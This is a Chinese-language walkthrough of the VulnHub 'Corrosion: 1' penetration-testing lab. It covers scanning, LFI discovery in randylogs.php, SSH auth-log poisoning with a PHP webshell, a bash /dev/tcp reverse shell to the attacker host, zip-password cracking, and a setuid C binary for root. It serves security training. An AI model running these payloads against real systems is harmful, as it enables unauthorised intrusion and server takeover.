Corrosion: 1靶场渗透

发布于:2025-09-04 ⋅ 阅读:(16) ⋅ 点赞:(0)

Corrosion: 1

来自 <Corrosion: 1 ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.152

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.152

 

4,访问80端口开放的http服务

扫描枚举网站子目录

gobuster dir -u http://192.168.23.152/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

http://192.168.23.152/tasks/

http://192.168.23.152/tasks/tasks_todo.txt

需要完成的任务

  1. 修改身份验证日志(auth log)的权限
  2. 将 22 号端口修改为 7672 号端口
  3. 搭建 phpMyAdmin(PHP 数据库管理工具)

http://192.168.23.152/blog-post/

5,再扫描其二级目录

gobuster dir -u http://192.168.23.152/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

http://192.168.23.152/blog-post/archives/

存在一个空白的PHP网页

http://192.168.23.152/blog-post/archives/randylogs.php

6,根据提示推测要去污染ssh日志文件,这个网页应该会存在本地文件包含漏洞,目前不知道网页传递的参数是什么,需要进行模糊测试

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u 'http://192.168.23.152/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

传递的参数是file,验证一下试试

http://192.168.23.152/blog-post/archives/randylogs.php?file=/etc/passwd

7,测试包含ssh日志文件,这是getshell的关键点

http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log

现在需要使用一句话木马污染这个文件,那么只要登录用户名是一句话木马即可

ssh '<?php system($_REQUEST["cmd"]);?>'@192.168.23.152

使用MobaXterm试试

登录失败就会把木马带入日志当中

成功写入木马,构成命令执行漏洞

http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id

8,直接通过命令执行反弹shell

http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.23.128%2F4444%200%3E%261%22%20%7C%20bash

反弹 Shell 的核心机制

echo "bash -i >& /dev/tcp/192.168.23.128/4444 0>&1" | bash

  • 这里的 cmd= 参数让服务器执行了该命令:
    • echo ... 输出一段纯文本:bash -i >& /dev/tcp/192.168.23.128/4444 0>&1
    • 管道 | bash 将这段文本交给 bash 去执行。

这条命令会:

  1. 使用 Bash 打开一个 TCP 客户端连接到目标 IP:192.168.23.128, 端口 4444。
  2. 启动一个交互式 shell (bash -i)。
  3. 将标准输入 (0)、标准输出和标准错误都通过 TCP 重定向(0>&1, >&)发送到攻击者主机上。
  4. 这样攻击者就拿到了一个远程 Shell:一个反向 Shell(Reverse Shell)。

安全含义

这种机制允许远端执行命令并获得交互式 Shell,具备极高风险:

  • 若 randylogs.php 存在类似功能(接受 cmd 参数并执行),就可能被利用来远程执行任意命令并获得服务器控制权。
  • 特别是在敏感日志(如 /var/log/auth.log)和可执行命令参数中,攻击面非常大。

与此同时kali监听4444端口

成功getshell

9,信息收集一下

查看一下权限提升的可行性

sudo -l

find / -perm -u=s -type f 2>/dev/null

都利用不了,再看那些敏感目录

10,在/var/backups/文件夹下发现一些压缩包,在靶场搭建一个简单的http服务供攻击机下载文件

python3 -m http.server

wget http://192.168.23.152:8000/user_backup.zip

尝试解压,但是需要密码,直接暴力破解

gunzip /usr/share/wordlists/rockyou.txt.gz

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip  

使用密码!randybaby成功解压压缩包

11,读取my_password文件,得到密码randylovesgoldfish1998

前面知道存在一个用户randy,推测是这个用户的账户密码,ssh登录

ssh randy@192.168.23.152

登录成功,依旧进行提权的信息收集

能够以root权限执行/home/randy/tools/easysysinfo文件,先看看这个文件是什么

写一个权限提升的c代码去替换easysysinfo文件,然后编译即可

#include <unistd.h>

#include <stdlib.h>

void main()

{

setuid(0);

setgid(0);

system("bash -i");

}

nano easysysinfo.c

rm -rf easysysinfo

gcc easysysinfo.c -o easysysinfo

sudo ./easysysinfo

成功提权变成root用户,得到flag


网站公告

今日签到

点亮在社区的每一天
去签到